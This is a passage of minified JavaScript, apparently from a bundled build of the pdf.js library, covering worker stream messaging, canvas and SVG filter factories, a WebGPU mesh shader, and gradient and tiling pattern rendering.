reason"),!this.isCancelled&&(this.isCancelled=!0,i.postMessage({sourceName:n,targetName:r,stream:pe.ERROR,streamId:t,reason:mn(u)}))},sinkCapability:Promise.withResolvers(),onPull:null,onCancel:null,isCancelled:!1,desiredSize:e.desiredSize,ready:null};l.sinkCapability.resolve(),l.ready=l.sinkCapability.promise,this.streamSinks[t]=l,Promise.try(o,e.data,l).then(function(){i.postMessage({sourceName:n,targetName:r,stream:pe.START_COMPLETE,streamId:t,success:!0})},function(u){i.postMessage({sourceName:n,targetName:r,stream:pe.START_COMPLETE,streamId:t,reason:mn(u)})})},NA=function(e){const t=e.streamId,n=this.sourceName,r=e.sourceName,i=this.comObj,s=this.streamControllers[t],o=this.streamSinks[t];switch(e.stream){case pe.START_COMPLETE:e.success?s.startCall.resolve():s.startCall.reject(mn(e.reason));break;case pe.PULL_COMPLETE:e.success?s.pullCall.resolve():s.pullCall.reject(mn(e.reason));break;case pe.PULL:if(!o){i.postMessage({sourceName:n,targetName:r,stream:pe.PULL_COMPLETE,streamId:t,success:!0});break}o.desiredSize<=0&&e.desiredSize>0&&o.sinkCapability.resolve(),o.desiredSize=e.desiredSize,Promise.try(o.onPull||$b).then(function(){i.postMessage({sourceName:n,targetName:r,stream:pe.PULL_COMPLETE,streamId:t,success:!0})},function(u){i.postMessage({sourceName:n,targetName:r,stream:pe.PULL_COMPLETE,streamId:t,reason:mn(u)})});break;case pe.ENQUEUE:if(ne(s,"enqueue should have stream controller"),s.isClosed)break;s.controller.enqueue(e.chunk);break;case pe.CLOSE:if(ne(s,"close should have stream controller"),s.isClosed)break;s.isClosed=!0,s.controller.close(),A(this,Ar,Og).call(this,s,t);break;case pe.ERROR:ne(s,"error should have stream controller"),s.controller.error(mn(e.reason)),A(this,Ar,Og).call(this,s,t);break;case pe.CANCEL_COMPLETE:e.success?s.cancelCall.resolve():s.cancelCall.reject(mn(e.reason)),A(this,Ar,Og).call(this,s,t);break;case pe.CANCEL:if(!o)break;const l=mn(e.reason);Promise.try(o.onCancel||$b,l).then(function(){i.postMessage({sourceName:n,targetName:r,stream:pe.CANCEL_COMPLETE,streamId:t,success:!0})},function(u){i.postMessage({sourceName:n,targetName:r,stream:pe.CANCEL_COMPLETE,streamId:t,reason:mn(u)})}),o.sinkCapability.reject(l),o.isCancelled=!0,delete this.streamSinks[t];break;default:throw new Error("Unexpected stream case")}},Og=async function(e,t){var n,r,i;await Promise.allSettled([(n=e.startCall)==null?void 0:n.promise,(r=e.pullCall)==null?void 0:r.promise,(i=e.cancelCall)==null?void 0:i.promise]),delete this.streamControllers[t]};var Wm;class BA{constructor({cMapUrl:e=null,standardFontDataUrl:t=null,wasmUrl:n=null}){b(this,Wm,Object.freeze({cMapUrl:"CMap",standardFontDataUrl:"font",wasmUrl:"wasm"}));this.cMapUrl=e,this.standardFontDataUrl=t,this.wasmUrl=n}async fetch({kind:e,filename:t}){switch(e){case"cMapUrl":case"standardFontDataUrl":case"wasmUrl":break;default:Ot(`Not implemented: ${e}`)}const n=this[e];if(!n)throw new Error(`Ensure that the \`${e}\` API parameter is provided.`);const r=`${n}${t}`;return this._fetch(r,e).catch(i=>{throw new Error(`Unable to load ${a(this,Wm)[e]} data at: ${r}`)})}async _fetch(e,t){Ot("Abstract method `_fetch` called.")}}Wm=new WeakMap;class Hb extends BA{async _fetch(e,t){const n=t==="cMapUrl"&&!e.endsWith(".bcmap")?"text":"bytes",r=await rb(e,n);return r instanceof Uint8Array?r:dv(r)}}var hf;class kA{constructor({enableHWA:e=!1}){b(this,hf,!1);g(this,hf,e)}create(e,t){if(e<=0||t<=0)throw new Error("Invalid canvas size");const n=this._createCanvas(e,t);return{canvas:n,context:n.getContext("2d",{willReadFrequently:!a(this,hf)})}}reset({canvas:e},t,n){if(!e)throw new Error("Canvas is not specified");if(t<=0||n<=0)throw new Error("Invalid canvas size");e.width=t,e.height=n}destroy(e){const{canvas:t}=e;if(!t)throw new Error("Canvas is not specified");t.width=t.height=0,e.canvas=null,e.context=null}_createCanvas(e,t){Ot("Abstract method `_createCanvas` called.")}}hf=new WeakMap;class pS extends kA{constructor({ownerDocument:e=globalThis.document,enableHWA:t=!1}){super({enableHWA:t}),this._document=e}_createCanvas(e,t){const n=this._document.createElement("canvas");return n.width=e,n.height=t,n}}ut(2489);class jA{addFilter(e){return"none"}addHCMFilter(e,t){return"none"}addAlphaFilter(e){return"none"}addLuminosityFilter(e){return"none"}addHighlightHCMFilter(e,t,n,r,i){return"none"}destroy(e=!1){}}var el,cu,Ki,Ji,Qe,nl,rl,Q,_e,Zc,yh,Mg,bh,UA,yy,Ah,Qc,qc,by,td;class gS extends jA{constructor({docId:t,ownerDocument:n=globalThis.document}){super();b(this,Q);b(this,el);b(this,cu);b(this,Ki);b(this,Ji);b(this,Qe);b(this,nl);b(this,rl,0);g(this,Ji,t),g(this,Qe,n)}addFilter(t){if(!t)return"none";let n=a(this,Q,_e).get(t);if(n)return n;const[r,i,s]=A(this,Q,Mg).call(this,t),o=t.length===1?r:`${r}${i}${s}`;if(n=a(this,Q,_e).get(o),n)return a(this,Q,_e).set(t,n),n;const l=`g_${a(this,Ji)}_transfer_map_${ie(this,rl)._++}`,u=A(this,Q,bh).call(this,l);a(this,Q,_e).set(t,u),a(this,Q,_e).set(o,u);const c=A(this,Q,Ah).call(this,l);return A(this,Q,qc).call(this,r,i,s,c),u}addHCMFilter(t,n){var m;const r=`${t}-${n}`,i="base";let s=a(this,Q,Zc).get(i);if((s==null?void 0:s.key)===r||(s?((m=s.filter)==null||m.remove(),s.key=r,s.url="none",s.filter=null):(s={key:r,url:"none",filter:null},a(this,Q,Zc).set(i,s)),!t||!n))return s.url;const o=A(this,Q,td).call(this,t);t=_.makeHexColor(...o);const l=A(this,Q,td).call(this,n);if(n=_.makeHexColor(...l),a(this,Q,yh).style.color="",t==="#000000"&&n==="#ffffff"||t===n)return s.url;const u=new Array(256);for(let v=0;v<=255;v++){const y=v/255;u[v]=y<=.03928?y/12.92:((y+.055)/1.055)**2.4}const c=u.join(","),d=`g_${a(this,Ji)}_hcm_filter`,f=s.filter=A(this,Q,Ah).call(this,d);A(this,Q,qc).call(this,c,c,c,f),A(this,Q,yy).call(this,f);const p=(v,y)=>{const E=o[v]/255,S=l[v]/255,w=new Array(y+1);for(let C=0;C<=y;C++)w[C]=E+C/y*(S-E);return w.join(",")};return A(this,Q,qc).call(this,p(0,5),p(1,5),p(2,5),f),s.url=A(this,Q,bh).call(this,d),s.url}addAlphaFilter(t){let n=a(this,Q,_e).get(t);if(n)return n;const[r]=A(this,Q,Mg).call(this,[t]),i=`alpha_${r}`;if(n=a(this,Q,_e).get(i),n)return a(this,Q,_e).set(t,n),n;const s=`g_${a(this,Ji)}_alpha_map_${ie(this,rl)._++}`,o=A(this,Q,bh).call(this,s);a(this,Q,_e).set(t,o),a(this,Q,_e).set(i,o);const l=A(this,Q,Ah).call(this,s);return A(this,Q,by).call(this,r,l),o}addLuminosityFilter(t){let n=a(this,Q,_e).get(t||"luminosity");if(n)return n;let r,i;if(t?([r]=A(this,Q,Mg).call(this,[t]),i=`luminosity_${r}`):i="luminosity",n=a(this,Q,_e).get(i),n)return a(this,Q,_e).set(t,n),n;const s=`g_${a(this,Ji)}_luminosity_map_${ie(this,rl)._++}`,o=A(this,Q,bh).call(this,s);a(this,Q,_e).set(t,o),a(this,Q,_e).set(i,o);const l=A(this,Q,Ah).call(this,s);return A(this,Q,UA).call(this,l),t&&A(this,Q,by).call(this,r,l),o}addHighlightHCMFilter(t,n,r,i,s){var S;const o=`${n}-${r}-${i}-${s}`;let l=a(this,Q,Zc).get(t);if((l==null?void 0:l.key)===o||(l?((S=l.filter)==null||S.remove(),l.key=o,l.url="none",l.filter=null):(l={key:o,url:"none",filter:null},a(this,Q,Zc).set(t,l)),!n||!r))return l.url;const[u,c]=[n,r].map(A(this,Q,td).bind(this));let d=Math.round(.2126*u[0]+.7152*u[1]+.0722*u[2]),f=Math.round(.2126*c[0]+.7152*c[1]+.0722*c[2]),[p,m]=[i,s].map(A(this,Q,td).bind(this));f{const T=new Array(256),I=(f-d)/x,F=w/255,P=(C-w)/(255*x);let R=0;for(let D=0;D<=x;D++){const k=Math.round(d+D*I),N=F+D*P;for(let H=R;H<=k;H++)T[H]=N;R=k+1}for(let D=R;D<256;D++)T[D]=T[R-1];return T.join(",")},y=`g_${a(this,Ji)}_hcm_${t}_filter`,E=l.filter=A(this,Q,Ah).call(this,y);return A(this,Q,yy).call(this,E),A(this,Q,qc).call(this,v(p[0],m[0],5),v(p[1],m[1],5),v(p[2],m[2],5),E),l.url=A(this,Q,bh).call(this,y),l.url}destroy(t=!1){var n,r,i,s;t&&((n=a(this,nl))!=null&&n.size)||((r=a(this,Ki))==null||r.parentNode.parentNode.remove(),g(this,Ki,null),(i=a(this,cu))==null||i.clear(),g(this,cu,null),(s=a(this,nl))==null||s.clear(),g(this,nl,null),g(this,rl,0))}}el=new WeakMap,cu=new WeakMap,Ki=new WeakMap,Ji=new WeakMap,Qe=new WeakMap,nl=new WeakMap,rl=new WeakMap,Q=new WeakSet,_e=function(){return a(this,cu)||g(this,cu,new Map)},Zc=function(){return a(this,nl)||g(this,nl,new Map)},yh=function(){if(!a(this,Ki)){const t=a(this,Qe).createElement("div"),{style:n}=t;n.visibility="hidden",n.contain="strict",n.width=n.height=0,n.position="absolute",n.top=n.left=0,n.zIndex=-1;const r=a(this,Qe).createElementNS(Pi,"svg");r.setAttribute("width",0),r.setAttribute("height",0),g(this,Ki,a(this,Qe).createElementNS(Pi,"defs")),t.append(r),r.append(a(this,Ki)),a(this,Qe).body.append(t)}return a(this,Ki)},Mg=function(t){if(t.length===1){const u=t[0],c=new Array(256);for(let f=0;f<256;f++)c[f]=u[f]/255;const d=c.join(",");return[d,d,d]}const[n,r,i]=t,s=new Array(256),o=new Array(256),l=new Array(256);for(let u=0;u<256;u++)s[u]=n[u]/255,o[u]=r[u]/255,l[u]=i[u]/255;return[s.join(","),o.join(","),l.join(",")]},bh=function(t){if(a(this,el)===void 0){g(this,el,"");const n=a(this,Qe).URL;n!==a(this,Qe).baseURI&&(fv(n)?ht('#createUrl: ignore "data:"-URL for performance reasons.'):g(this,el,G1(n,"")))}return`url(${a(this,el)}#${t})`},UA=function(t){const n=a(this,Qe).createElementNS(Pi,"feColorMatrix");n.setAttribute("type","matrix"),n.setAttribute("values","0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.3 0.59 0.11 0 0"),t.append(n)},yy=function(t){const n=a(this,Qe).createElementNS(Pi,"feColorMatrix");n.setAttribute("type","matrix"),n.setAttribute("values","0.2126 0.7152 0.0722 0 0 0.2126 0.7152 0.0722 0 0 0.2126 0.7152 0.0722 0 0 0 0 0 1 0"),t.append(n)},Ah=function(t){const n=a(this,Qe).createElementNS(Pi,"filter");return n.setAttribute("color-interpolation-filters","sRGB"),n.setAttribute("id",t),a(this,Q,yh).append(n),n},Qc=function(t,n,r){const i=a(this,Qe).createElementNS(Pi,n);i.setAttribute("type","discrete"),i.setAttribute("tableValues",r),t.append(i)},qc=function(t,n,r,i){const s=a(this,Qe).createElementNS(Pi,"feComponentTransfer");i.append(s),A(this,Q,Qc).call(this,s,"feFuncR",t),A(this,Q,Qc).call(this,s,"feFuncG",n),A(this,Q,Qc).call(this,s,"feFuncB",r)},by=function(t,n){const r=a(this,Qe).createElementNS(Pi,"feComponentTransfer");n.append(r),A(this,Q,Qc).call(this,r,"feFuncA",t)},td=function(t){return a(this,Q,yh).style.color=t,sg(getComputedStyle(a(this,Q,yh)).getPropertyValue("color"))};var U1;if(_n){let h;try{const e=process.getBuiltinModule("module").createRequire(import.meta.url);try{h=e("@napi-rs/canvas")}catch(t){ht(`Cannot load "@napi-rs/canvas" package: "${t}".`)}}catch(e){ht(`Cannot access the \`require\` function: "${e}".`)}globalThis.DOMMatrix||(h!=null&&h.DOMMatrix?globalThis.DOMMatrix=h.DOMMatrix:ht("Cannot polyfill `DOMMatrix`, rendering may be broken.")),globalThis.ImageData||(h!=null&&h.ImageData?globalThis.ImageData=h.ImageData:ht("Cannot polyfill `ImageData`, rendering may be broken.")),globalThis.Path2D||(h!=null&&h.Path2D?globalThis.Path2D=h.Path2D:ht("Cannot polyfill `Path2D`, rendering may be broken.")),(U1=globalThis.navigator)!=null&&U1.language||(globalThis.navigator={language:"en-US",platform:"",userAgent:""})}async function mS(h){const t=await process.getBuiltinModule("fs/promises").readFile(h);return new Uint8Array(t)}class vS extends jA{}class yS extends kA{_createCanvas(e,t){return process.getBuiltinModule("module").createRequire(import.meta.url)("@napi-rs/canvas").createCanvas(e,t)}}class bS extends BA{async _fetch(e,t){return mS(e)}}const AS=` +struct Uniforms { + offsetX : f32, + offsetY : f32, + scaleX : f32, + scaleY : f32, + paddedWidth : f32, + paddedHeight : f32, + borderSize : f32, + _pad : f32, +}; + +@group(0) @binding(0) var u : Uniforms; + +struct VertexInput { + @location(0) position : vec2, + @location(1) color : vec4, +}; + +struct VertexOutput { + @builtin(position) position : vec4, + @location(0) color : vec3, +}; + +@vertex +fn vs_main(in : VertexInput) -> VertexOutput { + var out : VertexOutput; + let cx = (in.position.x + u.offsetX) * u.scaleX; + let cy = (in.position.y + u.offsetY) * u.scaleY; + out.position = vec4( + ((cx + u.borderSize) / u.paddedWidth) * 2.0 - 1.0, + 1.0 - ((cy + u.borderSize) / u.paddedHeight) * 2.0, + 0.0, + 1.0 + ); + out.color = in.color.rgb; + return out; +} + +@fragment +fn fs_main(in : VertexOutput) -> @location(0) vec4 { + return vec4(in.color, 1.0); +} +`;var zm,Zi,il,du,Gm,$A;class ES{constructor(){b(this,Gm);b(this,zm,null);b(this,Zi,null);b(this,il,null);b(this,du,null)}init(){return a(this,zm)||g(this,zm,A(this,Gm,$A).call(this))}get isReady(){return a(this,Zi)!==null}loadMeshShader(){if(!a(this,Zi)||a(this,il))return;const e=a(this,Zi).createShaderModule({code:AS});g(this,il,a(this,Zi).createRenderPipeline({layout:"auto",vertex:{module:e,entryPoint:"vs_main",buffers:[{arrayStride:2*4,attributes:[{shaderLocation:0,offset:0,format:"float32x2"}]},{arrayStride:4,attributes:[{shaderLocation:1,offset:0,format:"unorm8x4"}]}]},fragment:{module:e,entryPoint:"fs_main",targets:[{format:a(this,du)}]},primitive:{topology:"triangle-list"}}))}draw(e,t,n,r,i,s,o,l){this.loadMeshShader();const u=a(this,Zi),{offsetX:c,offsetY:d,scaleX:f,scaleY:p}=r,m=u.createBuffer({size:Math.max(e.byteLength,4),usage:GPUBufferUsage.VERTEX|GPUBufferUsage.COPY_DST});e.byteLength>0&&u.queue.writeBuffer(m,0,e);const v=u.createBuffer({size:Math.max(t.byteLength,4),usage:GPUBufferUsage.VERTEX|GPUBufferUsage.COPY_DST});t.byteLength>0&&u.queue.writeBuffer(v,0,t);const y=u.createBuffer({size:8*4,usage:GPUBufferUsage.UNIFORM|GPUBufferUsage.COPY_DST});u.queue.writeBuffer(y,0,new Float32Array([c,d,f,p,s,o,l,0]));const E=u.createBindGroup({layout:a(this,il).getBindGroupLayout(0),entries:[{binding:0,resource:{buffer:y}}]}),S=new OffscreenCanvas(s,o),w=S.getContext("webgpu");w.configure({device:u,format:a(this,du),alphaMode:i?"opaque":"premultiplied"});const C=i?{r:i[0]/255,g:i[1]/255,b:i[2]/255,a:1}:{r:0,g:0,b:0,a:0},x=u.createCommandEncoder(),T=x.beginRenderPass({colorAttachments:[{view:w.getCurrentTexture().createView(),clearValue:C,loadOp:"clear",storeOp:"store"}]});return n>0&&(T.setPipeline(a(this,il)),T.setBindGroup(0,E),T.setVertexBuffer(0,m),T.setVertexBuffer(1,v),T.draw(n)),T.end(),u.queue.submit([x.finish()]),m.destroy(),v.destroy(),y.destroy(),S.transferToImageBitmap()}}zm=new WeakMap,Zi=new WeakMap,il=new WeakMap,du=new WeakMap,Gm=new WeakSet,$A=async function(){var e;if(!((e=globalThis.navigator)!=null&&e.gpu))return!1;try{const t=await navigator.gpu.requestAdapter();return t?(g(this,du,navigator.gpu.getPreferredCanvasFormat()),g(this,Zi,await t.requestDevice()),!0):!1}catch{return!1}};const pv=new ES;function wS(){return pv.init()}function xS(){return pv.isReady}function SS(){pv.loadMeshShader()}function CS(h,e,t,n,r,i,s,o){return pv.draw(h,e,t,n,r,i,s,o)}const ze={FILL:"Fill",STROKE:"Stroke",SHADING:"Shading"};function Lg(h,e){if(!e)return;const t=e[2]-e[0],n=e[3]-e[1],r=new Path2D;r.rect(e[0],e[1],t,n),h.clip(r)}class lb{isModifyingCurrentTransform(){return!1}getPattern(){Ot("Abstract method `getPattern` called.")}}class TS extends lb{constructor(e){super(),this._type=e[1],this._bbox=e[2],this._colorStops=e[3],this._p0=e[4],this._p1=e[5],this._r0=e[6],this._r1=e[7],this.matrix=null}isOriginBased(){return this._p0[0]===0&&this._p0[1]===0&&(!this.isRadial()||this._p1[0]===0&&this._p1[1]===0)}isRadial(){return this._type==="radial"}areConic(){if(!this.isRadial())return!1;const e=Math.hypot(this._p0[0]-this._p1[0],this._p0[1]-this._p1[1]);return e+this._r1>this._r0&&e+this._r0>this._r1}_createGradient(e,t=null){let n,r=this._p0,i=this._p1;if(t&&(r=r.slice(),i=i.slice(),_.applyTransform(r,t),_.applyTransform(i,t)),this._type==="axial")n=e.createLinearGradient(r[0],r[1],i[0],i[1]);else if(this._type==="radial"){let s=this._r0,o=this._r1;if(t){const l=new Float32Array(2);_.singularValueDecompose2dScale(t,l),s*=l[0],o*=l[0]}n=e.createRadialGradient(r[0],r[1],s,i[0],i[1],o)}for(const s of this._colorStops)n.addColorStop(s[0],s[1]);return n}_createReversedGradient(e,t=null){let n=this._p1,r=this._p0;t&&(n=n.slice(),r=r.slice(),_.applyTransform(n,t),_.applyTransform(r,t));let i=this._r1,s=this._r0;if(t){const u=new Float32Array(2);_.singularValueDecompose2dScale(t,u),i*=u[0],s*=u[0]}const o=e.createRadialGradient(n[0],n[1],i,r[0],r[1],s),l=this._colorStops.map(([u,c])=>[1-u,c]).reverse();for(const[u,c]of l)o.addColorStop(u,c);return o}getPattern(e,t,n,r){let i;if(r===ze.STROKE||r===ze.FILL){if(this.isOriginBased()){let f=_.transform(n,t.baseTransform);this.matrix&&(f=_.transform(f,this.matrix));const p=.001,m=Math.hypot(f[0],f[1]),v=Math.hypot(f[2],f[3]),y=(f[0]*f[2]+f[1]*f[3])/(m*v);if(Math.abs(y)l[n*2+1]&&(f=t,t=n,n=f,f=i,i=s,s=f),l[n*2+1]>l[r*2+1]&&(f=n,n=r,r=f,f=s,s=o,o=f),l[t*2+1]>l[n*2+1]&&(f=t,t=n,n=f,f=i,i=s,s=f);const p=(l[t*2]+e.offsetX)*e.scaleX,m=(l[t*2+1]+e.offsetY)*e.scaleY,v=(l[n*2]+e.offsetX)*e.scaleX,y=(l[n*2+1]+e.offsetY)*e.scaleY,E=(l[r*2]+e.offsetX)*e.scaleX,S=(l[r*2+1]+e.offsetY)*e.scaleY;if(m>=S)return;const w=u[i*4],C=u[i*4+1],x=u[i*4+2],T=u[s*4],I=u[s*4+1],F=u[s*4+2],P=u[o*4],R=u[o*4+1],D=u[o*4+2],k=Math.round(m),N=Math.round(S);let H,X,j,U,z,G,nt,pt;for(let it=k;it<=N;it++){if(itS?O=1:y===S?O=0:O=(y-it)/(y-S),H=v-(v-E)*O,X=T-(T-P)*O,j=I-(I-R)*O,U=F-(F-D)*O}let K;itS?K=1:K=(m-it)/(m-S),z=p-(p-E)*K,G=w-(w-P)*K,nt=C-(C-R)*K,pt=x-(x-D)*K;const lt=Math.round(Math.min(H,z)),st=Math.round(Math.max(H,z));let B=d*it+lt*4;for(let O=lt;O<=st;O++)K=(H-O)/(H-z),K<0?K=0:K>1&&(K=1),c[B++]=X-(X-G)*K|0,c[B++]=j-(j-nt)*K|0,c[B++]=U-(U-pt)*K|0,c[B++]=255}}class IS extends lb{constructor(e){super(),this._posData=e[2],this._colData=e[3],this._vertexCount=e[4],this._bounds=e[5],this._bbox=e[6],this._background=e[7],this.matrix=null,SS()}_createMeshCanvas(e,t,n){const o=Math.floor(this._bounds[0]),l=Math.floor(this._bounds[1]),u=Math.ceil(this._bounds[2])-o,c=Math.ceil(this._bounds[3])-l,d=Math.min(Math.ceil(Math.abs(u*e[0]*1.1)),3e3)||1,f=Math.min(Math.ceil(Math.abs(c*e[1]*1.1)),3e3)||1,p=u?u/d:1,m=c?c/f:1,v={coords:this._posData,colors:this._colData,offsetX:-o,offsetY:-l,scaleX:1/p,scaleY:1/m},y=d+2*2,E=f+2*2,S=n.create(y,E);if(xS()&&this._vertexCount>48)S.context.drawImage(CS(this._posData,this._colData,this._vertexCount,v,t,y,E,2),0,0);else{const w=S.context.createImageData(d,f);if(t){const C=w.data;for(let x=0,T=C.length;xu+1e-6||t>c+1e-6)return null;const d=Math.floor((n-o)/u)+1,f=Math.ceil((n+e-i)/u)-1,p=Math.floor((r-l)/c)+1,m=Math.ceil((r+t-s)/c)-1;return f<=d&&m<=p?[d,p]:null}updatePatternDims(e,t){const n=_.inverseTransform(this.patternBaseMatrix),r=[e[0],e[1]],i=[e[2],e[3]];_.applyTransform(r,n),_.applyTransform(i,n),t[0]=Math.abs(i[0]-r[0]),t[1]=Math.abs(i[1]-r[1]),t[2]=Math.min(r[0],i[0]),t[3]=Math.min(r[1],i[1])}_renderTileCanvas(e,t,n,r){var f,p;const[i,s,o,l]=this.bbox,u=e.canvasFactory.create(n.size,r.size),c=u.context,d=this.canvasGraphicsFactory.createCanvasGraphics(c,t);return d.groupLevel=e.groupLevel,this.setFillAndStrokeStyleToContext(d,this.paintType,this.color),c.translate(-n.scale*i,-r.scale*s),d.transform(0,n.scale,0,0,r.scale,0,0),c.save(),(f=d.dependencyTracker)==null||f.save(),this.clipBbox(d,i,s,o,l),d.baseTransform=Yt(d.ctx),d.executeOperatorList(this.operatorList),d.endDrawing(),(p=d.dependencyTracker)==null||p.restore(),c.restore(),u}_getCombinedScales(){const e=new Float32Array(2);_.singularValueDecompose2dScale(this.matrix,e);const[t,n]=e;return _.singularValueDecompose2dScale(this.baseTransform,e),[t*e[0],n*e[1]]}drawPattern(e,t,n=!1,[r,i],s){const[o,l,u,c]=this.bbox,d=e.dependencyTracker;if(d&&(e.dependencyTracker=new Pd(d,s)),e.save(),n?e.ctx.clip(t,"evenodd"):e.ctx.clip(t),e.ctx.setTransform(...this.patternBaseMatrix),e.ctx.translate(r*this.xstep,i*this.ystep),this.needsIsolation||e.ctx.globalAlpha!==1||e.ctx.globalCompositeOperation!=="source-over"||e.inSMaskMode){const f=u-o,p=c-l,[m,v]=this._getCombinedScales(),y=this.getSizeAndScale(f,this.ctx.canvas.width,m),E=this.getSizeAndScale(p,this.ctx.canvas.height,v),S=this._renderTileCanvas(e,s,y,E);e.ctx.drawImage(S.canvas,o,l,f,p),e.canvasFactory.destroy(S)}else this.setFillAndStrokeStyleToContext(e,this.paintType,this.color),this.clipBbox(e,o,l,u,c),e.baseTransformStack.push(e.baseTransform),e.baseTransform=Yt(e.ctx),e.executeOperatorList(this.operatorList),e.baseTransform=e.baseTransformStack.pop();e.restore(),d&&(e.dependencyTracker=d)}createPatternCanvas(e,t){const[n,r,i,s]=this.bbox,o=i-n,l=s-r;let{xstep:u,ystep:c}=this;u=Math.abs(u),c=Math.abs(c),cv("TilingType: "+this.tilingType);const[d,f]=this._getCombinedScales();let p=o,m=l,v=!1,y=!1;Math.ceil(u*d)>=Math.ceil(o*d)?p=u:v=!0,Math.ceil(c*f)>=Math.ceil(l*f)?m=c:y=!0;const E=this.getSizeAndScale(p,this.ctx.canvas.width,d),S=this.getSizeAndScale(m,this.ctx.canvas.height,f),w=this._renderTileCanvas(e,t,E,S);if(v||y){const C=w.canvas;v&&(p=u),y&&(m=c);const x=this.getSizeAndScale(p,this.ctx.canvas.width,d),T=this.getSizeAndScale(m,this.ctx.canvas.height,f),I=x.size,F=T.size,P=e.canvasFactory.create(I,F),R=P.context,D=v?Math.floor(o/u):0,k=y?Math.floor(l/c):0;for(let N=0;N<=D;N++)for(let H=0;H<=k;H++)R.drawImage(C,I*N,F*H,I,F,0,0,I,F);return e.canvasFactory.destroy(w),{canvas:P.canvas,canvasEntry:P,scaleX:x.scale,scaleY:T.scale,offsetX:n,offsetY:r}}return{canvas:w.canvas,canvasEntry:w,scaleX:E.scale,scaleY:S.scale,offsetX:n,offsetY:r}}getSizeAndScale(e,t,n){const r=Math.max(Xm.MAX_PATTERN_SIZE,t);let i=Math.ceil(e*n);return i>=r?i=r:n=i/e,{scale:n,size:i}}clipBbox(e,t,n,r,i){const s=r-t,o=i-n,l=new Path2D;l.rect(t,n,s,o),_.axialAlignedBoundingBox([t,n,r,i],Yt(e.ctx),e.current.minMax),e.ctx.clip(l),e.current.updateClipFromPath()}setFillAndStrokeStyleToContext(e,t,n){const r=e.ctx,i=e.current;switch(i.patternFill=i.patternStroke=!1,t){case Vb.COLORED:const{fillStyle:s,strokeStyle:o}=this.ctx;r.fillStyle=i.fillColor=s,r.strokeStyle=i.strokeColor=o;break;case Vb.UNCOLORED:r.fillStyle=r.strokeStyle=n,i.fillColor=i.strokeColor=n;break;default:throw new Lx(`Unsupported paint type: ${t}`)}}isModifyingCurrentTransform(){return!1}getPattern(e,t,n,r,i){const s=r!==ze.SHADING?_.transform(n,this.patternBaseMatrix):n,o=this.createPatternCanvas(t,i);let l=new DOMMatrix(s);l=l.translate(o.offsetX,o.offsetY),l=l.scale(1/o.scaleX,1/o.scaleY);const u=e.createPattern(o.canvas,"repeat");return t.canvasFactory.destroy(o.canvasEntry),u.setTransform(l),u}};M(Xm,"MAX_PATTERN_SIZE",3e3);let yd=Xm;function DS({src:h,srcPos:e=0,dest:t,width:n,height:r,nonBlackColor:i=4294967295,inverseDecode:s=!1}){const o=be.isLittleEndian?4278190080:255,[l,u]=s?[i,o]:[o,i],c=n>>3,d=n&7,f=l^u,p=h.length;t=new Uint32Array(t.buffer);let m=0;for(let v=0;v>7&1)&f,t[m+1]=l^-(S>>6&1)&f,t[m+2]=l^-(S>>5&1)&f,t[m+3]=l^-(S>>4&1)&f,t[m+4]=l^-(S>>3&1)&f,t[m+5]=l^-(S>>2&1)&f,t[m+6]=l^-(S>>1&1)&f,t[m+7]=l^-(S&1)&f}if(d===0)continue;const y=e>7-E&1)&f}return{srcPos:e,destPos:m}}const Wb=16,zb=100,OS=15,Gb=10,Cn=16,Iv=new DOMMatrix,Yn=new Float32Array(2);function MS(h,e){if(h._removeMirroring)throw new Error("Context is already forwarding operations.");h.__originalSave=h.save,h.__originalRestore=h.restore,h.__originalRotate=h.rotate,h.__originalScale=h.scale,h.__originalTranslate=h.translate,h.__originalTransform=h.transform,h.__originalSetTransform=h.setTransform,h.__originalResetTransform=h.resetTransform,h.__originalClip=h.clip,h.__originalMoveTo=h.moveTo,h.__originalLineTo=h.lineTo,h.__originalBezierCurveTo=h.bezierCurveTo,h.__originalRect=h.rect,h.__originalClosePath=h.closePath,h.__originalBeginPath=h.beginPath,h._removeMirroring=()=>{h.save=h.__originalSave,h.restore=h.__originalRestore,h.rotate=h.__originalRotate,h.scale=h.__originalScale,h.translate=h.__originalTranslate,h.transform=h.__originalTransform,h.setTransform=h.__originalSetTransform,h.resetTransform=h.__originalResetTransform,h.clip=h.__originalClip,h.moveTo=h.__originalMoveTo,h.lineTo=h.__originalLineTo,h.bezierCurveTo=h.__originalBezierCurveTo,h.rect=h.__originalRect,h.closePath=h.__originalClosePath,h.beginPath=h.__originalBeginPath,delete h._removeMirroring},h.save=function(){e.save(),this.__originalSave()},h.restore=function(){e.restore(),this.__originalRestore()},h.translate=function(t,n){e.translate(t,n),this.__originalTranslate(t,n)},h.scale=function(t,n){e.scale(t,n),this.__originalScale(t,n)},h.transform=function(t,n,r,i,s,o){e.transform(t,n,r,i,s,o),this.__originalTransform(t,n,r,i,s,o)},h.setTransform=function(t,n,r,i,s,o){n===void 0?(e.setTransform(t),this.__originalSetTransform(t)):(e.setTransform(t,n,r,i,s,o),this.__originalSetTransform(t,n,r,i,s,o))},h.resetTransform=function(){e.resetTransform(),this.__originalResetTransform()},h.rotate=function(t){e.rotate(t),this.__originalRotate(t)},h.clip=function(t){e.clip(t),this.__originalClip(t)},h.moveTo=function(t,n){e.moveTo(t,n),this.__originalMoveTo(t,n)},h.lineTo=function(t,n){e.lineTo(t,n),this.__originalLineTo(t,n)},h.bezierCurveTo=function(t,n,r,i,s,o){e.bezierCurveTo(t,n,r,i,s,o),this.__originalBezierCurveTo(t,n,r,i,s,o)},h.rect=function(t,n,r,i){e.rect(t,n,r,i),this.__originalRect(t,n,r,i)},h.closePath=function(){e.closePath(),this.__originalClosePath()},h.beginPath=function(){e.beginPath(),this.__originalBeginPath()}}function cg(h,e,t,n,r,i,s,o,l,u){const[c,d,f,p,m,v]=Yt(h);if(d===0&&f===0){const S=s*c+m,w=Math.round(S),C=o*p+v,x=Math.round(C),T=(s+l)*c+m,I=Math.abs(Math.round(T)-w)||1,F=(o+u)*p+v,P=Math.abs(Math.round(F)-x)||1;return h.setTransform(Math.sign(c),0,0,Math.sign(p),w,x),h.drawImage(e,t,n,r,i,0,0,I,P),h.setTransform(c,d,f,p,m,v),[I,P]}if(c===0&&p===0){const S=o*f+m,w=Math.round(S),C=s*d+v,x=Math.round(C),T=(o+u)*f+m,I=Math.abs(Math.round(T)-w)||1,F=(s+l)*d+v,P=Math.abs(Math.round(F)-x)||1;return h.setTransform(0,Math.sign(d),Math.sign(f),0,w,x),h.drawImage(e,t,n,r,i,0,0,P,I),h.setTransform(c,d,f,p,m,v),[P,I]}h.drawImage(e,t,n,r,i,s,o,l,u);const 